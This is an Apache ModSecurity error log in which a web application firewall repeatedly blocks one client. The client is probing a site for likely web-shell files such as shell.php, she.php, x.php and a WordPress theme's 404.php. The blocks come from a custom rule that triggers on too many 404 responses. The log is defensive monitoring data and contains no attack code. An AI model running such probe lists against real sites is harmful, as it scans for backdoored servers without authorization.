[Sun Jan 04 22:16:25.890293 2026] [:error] [pid 43583:tid 43590] [client 4.241.234.12:15172] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/orm.php"] [unique_id "aVp2OeZbrSRUiJ-RX9ZCqwAAAUE"]
[Sun Jan 04 22:16:26.362600 2026] [:error] [pid 48667:tid 48711] [client 4.241.234.12:15294] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/orm.php"] [unique_id "aVp2OnO6aihVIlrNAPj4gQAAAQ4"]
[Sun Jan 04 22:16:26.666578 2026] [:error] [pid 43583:tid 43596] [client 4.241.234.12:15279] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/orm.php"] [unique_id "aVp2OuZbrSRUiJ-RX9ZCrAAAAUc"]
[Sun Jan 04 22:16:42.053166 2026] [:error] [pid 48667:tid 48700] [client 4.241.234.12:15125] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVp2SnO6aihVIlrNAPj4mgAAAQM"]
[Sun Jan 04 22:16:42.341242 2026] [:error] [pid 45863:tid 45875] [client 4.241.234.12:15597] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVp2SlGr1mgeue1bWvTYcwAAAAo"]
[Sun Jan 04 22:16:42.601024 2026] [:error] [pid 42666:tid 42706] [client 4.241.234.12:17514] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVp2Svc221c7vwWrOjcVjwAAAwk"]
[Sun Jan 04 22:16:42.908990 2026] [:error] [pid 48727:tid 48773] [client 4.241.234.12:14987] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVp2SvgJtUs-E_QT0ibaYgAAA1A"]
[Sun Jan 04 22:16:43.249065 2026] [:error] [pid 45949:tid 45960] [client 4.241.234.12:17527] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aVp2S6WUhIYCdxgkhpBQRwAAAgY"]
[Sun Jan 04 22:16:43.509032 2026] [:error] [pid 45949:tid 45976] [client 4.241.234.12:17472] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aVp2S6WUhIYCdxgkhpBQSAAAAhY"]
[Sun Jan 04 22:16:43.788159 2026] [:error] [pid 45863:tid 45882] [client 4.241.234.12:17424] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aVp2S1Gr1mgeue1bWvTYdQAAABE"]
[Sun Jan 04 22:16:44.060634 2026] [:error] [pid 48727:tid 48781] [client 4.241.234.12:17439] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aVp2TPgJtUs-E_QT0ibaZgAAA1g"]
[Sun Jan 04 22:16:44.332247 2026] [:error] [pid 45863:tid 45870] [client 4.241.234.12:17493] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aVp2TFGr1mgeue1bWvTYdwAAAAU"]
[Sun Jan 04 22:16:44.637714 2026] [:error] [pid 45949:tid 45955] [client 4.241.234.12:17426] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aVp2TKWUhIYCdxgkhpBQSQAAAgE"]
[Sun Jan 04 22:16:45.053917 2026] [:error] [pid 45863:tid 45872] [client 4.241.234.12:17425] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aVp2TVGr1mgeue1bWvTYeQAAAAc"]
[Sun Jan 04 22:16:45.395875 2026] [:error] [pid 42666:tid 42712] [client 4.241.234.12:15107] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CLA.php"] [unique_id "aVp2Tfc221c7vwWrOjcVkgAAAw8"]
[Sun Jan 04 22:16:45.678414 2026] [:error] [pid 48667:tid 48711] [client 4.241.234.12:15230] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "aVp2TXO6aihVIlrNAPj4mwAAAQ4"]
[Sun Jan 04 22:16:45.987343 2026] [:error] [pid 48727:tid 48761] [client 4.241.234.12:17445] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "aVp2TfgJtUs-E_QT0ibaaQAAA0Q"]
[Sun Jan 04 22:16:46.243199 2026] [:error] [pid 45949:tid 45962] [client 4.241.234.12:15010] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "aVp2TqWUhIYCdxgkhpBQSgAAAgg"]
[Sun Jan 04 22:16:46.485079 2026] [:error] [pid 45863:tid 45866] [client 4.241.234.12:17535] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "aVp2TlGr1mgeue1bWvTYewAAAAE"]
[Sun Jan 04 22:16:46.760996 2026] [:error] [pid 48727:tid 48767] [client 4.241.234.12:17421] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVp2TvgJtUs-E_QT0ibabQAAA0o"]
[Sun Jan 04 22:16:47.034920 2026] [:error] [pid 29351:tid 29399] [client 4.241.234.12:17485] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVp2T5tGiMsRmNcKXvpHqAAAAs8"]
[Sun Jan 04 22:16:47.412824 2026] [:error] [pid 30985:tid 31028] [client 4.241.234.12:15151] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVp2T0isiM0XfzVcTWC0twAAAc4"]
[Sun Jan 04 22:16:47.707221 2026] [:error] [pid 45863:tid 45887] [client 4.241.234.12:17422] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVp2T1Gr1mgeue1bWvTYfgAAABY"]
[Sun Jan 04 22:16:47.975369 2026] [:error] [pid 42666:tid 42708] [client 4.241.234.12:17511] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aVp2T_c221c7vwWrOjcVlwAAAws"]
[Sun Jan 04 22:16:48.246507 2026] [:error] [pid 48633:tid 48636] [client 4.241.234.12:15322] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aVp2UHpmEoQIuLH2aWhITwAAAEE"]
[Sun Jan 04 22:16:48.609151 2026] [:error] [pid 30985:tid 31029] [client 4.241.234.12:17433] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aVp2UEisiM0XfzVcTWC0ugAAAc8"]
[Sun Jan 04 22:16:48.904035 2026] [:error] [pid 42666:tid 42697] [client 4.241.234.12:15038] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aVp2UPc221c7vwWrOjcVmQAAAwA"]
[Sun Jan 04 22:16:49.234234 2026] [:error] [pid 43583:tid 43613] [client 4.241.234.12:15022] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVp2UeZbrSRUiJ-RX9ZCvgAAAVg"]
[Sun Jan 04 22:16:49.505208 2026] [:error] [pid 48633:tid 48657] [client 4.241.234.12:15144] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVp2UXpmEoQIuLH2aWhIUAAAAFY"]
[Sun Jan 04 22:16:49.793207 2026] [:error] [pid 29351:tid 29388] [client 4.241.234.12:17416] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVp2UZtGiMsRmNcKXvpHqwAAAsQ"]
[Sun Jan 04 22:16:50.097450 2026] [:error] [pid 48727:tid 48765] [client 4.241.234.12:17474] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVp2UvgJtUs-E_QT0ibabwAAA0g"]
[Sun Jan 04 22:16:50.727511 2026] [:error] [pid 45949:tid 45975] [client 4.241.234.12:15126] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "aVp2UqWUhIYCdxgkhpBQTQAAAhU"]
[Sun Jan 04 22:16:51.274793 2026] [:error] [pid 48667:tid 48698] [client 4.241.234.12:17413] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "aVp2U3O6aihVIlrNAPj4pAAAAQE"]
[Sun Jan 04 22:16:51.661014 2026] [:error] [pid 48633:tid 48658] [client 4.241.234.12:17500] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "aVp2U3pmEoQIuLH2aWhIVAAAAFc"]
[Sun Jan 04 22:16:52.038645 2026] [:error] [pid 45863:tid 45871] [client 4.241.234.12:15281] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "aVp2VFGr1mgeue1bWvTYgwAAAAY"]
[Sun Jan 04 22:16:52.387567 2026] [:error] [pid 43583:tid 43601] [client 4.241.234.12:17438] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVp2VOZbrSRUiJ-RX9ZCwAAAAUw"]
[Sun Jan 04 22:16:52.738580 2026] [:error] [pid 48727:tid 48761] [client 4.241.234.12:14981] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVp2VPgJtUs-E_QT0ibacQAAA0Q"]
[Sun Jan 04 22:16:52.992650 2026] [:error] [pid 45949:tid 45966] [client 4.241.234.12:17409] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVp2VKWUhIYCdxgkhpBQTwAAAgw"]
[Sun Jan 04 22:16:53.306643 2026] [:error] [pid 48727:tid 48763] [client 4.241.234.12:17408] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVp2VfgJtUs-E_QT0ibacwAAA0Y"]
[Sun Jan 04 22:16:53.884855 2026] [:error] [pid 48633:tid 48652] [client 4.241.234.12:15316] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVp2VXpmEoQIuLH2aWhIWAAAAFE"]
[Sun Jan 04 22:16:54.231927 2026] [:error] [pid 29351:tid 29407] [client 4.241.234.12:17534] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVp2VptGiMsRmNcKXvpHrwAAAtc"]
[Sun Jan 04 22:16:54.560068 2026] [:error] [pid 29351:tid 29390] [client 4.241.234.12:15116] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVp2VptGiMsRmNcKXvpHsAAAAsY"]
[Sun Jan 04 22:16:54.803601 2026] [:error] [pid 43583:tid 43611] [client 4.241.234.12:17526] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVp2VuZbrSRUiJ-RX9ZCwwAAAVY"]
[Sun Jan 04 22:16:55.080937 2026] [:error] [pid 45863:tid 45869] [client 4.241.234.12:17478] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ana.php"] [unique_id "aVp2V1Gr1mgeue1bWvTYhQAAAAQ"]
[Sun Jan 04 22:16:55.374618 2026] [:error] [pid 48727:tid 48767] [client 4.241.234.12:17414] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ana.php"] [unique_id "aVp2V_gJtUs-E_QT0ibadgAAA0o"]
[Sun Jan 04 22:16:55.613056 2026] [:error] [pid 45949:tid 45971] [client 4.241.234.12:17487] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ana.php"] [unique_id "aVp2V6WUhIYCdxgkhpBQUgAAAhE"]
[Sun Jan 04 22:16:56.013118 2026] [:error] [pid 29351:tid 29395] [client 4.241.234.12:17528] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ana.php"] [unique_id "aVp2WJtGiMsRmNcKXvpHsgAAAss"]
[Sun Jan 04 22:16:56.409792 2026] [:error] [pid 48727:tid 48758] [client 4.241.234.12:15266] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aVp2WPgJtUs-E_QT0ibaegAAA0E"]
[Sun Jan 04 22:16:56.674454 2026] [:error] [pid 48727:tid 48777] [client 4.241.234.12:14983] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aVp2WPgJtUs-E_QT0ibafAAAA1Q"]
[Sun Jan 04 22:16:56.953893 2026] [:error] [pid 45949:tid 45972] [client 4.241.234.12:17437] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aVp2WKWUhIYCdxgkhpBQUwAAAhI"]
[Sun Jan 04 22:16:57.183616 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:17521] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aVp2Wfc221c7vwWrOjcVnAAAAww"]
[Sun Jan 04 22:16:57.439048 2026] [:error] [pid 43583:tid 43609] [client 4.241.234.12:17523] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "aVp2WeZbrSRUiJ-RX9ZCxAAAAVQ"]
[Sun Jan 04 22:16:57.705758 2026] [:error] [pid 45950:tid 45982] [client 4.241.234.12:15211] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "aVp2WVx-3HUGZIlAI-5SMAAAA4A"]
[Sun Jan 04 22:16:58.051796 2026] [:error] [pid 45863:tid 45881] [client 4.241.234.12:17410] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "aVp2WlGr1mgeue1bWvTYhgAAABA"]
[Sun Jan 04 22:16:58.284479 2026] [:error] [pid 30985:tid 31018] [client 4.241.234.12:15171] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/she.php"] [unique_id "aVp2WkisiM0XfzVcTWC0ywAAAcQ"]
[Sun Jan 04 22:16:58.545360 2026] [:error] [pid 29351:tid 29389] [client 4.241.234.12:17435] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aVp2WptGiMsRmNcKXvpHtgAAAsU"]
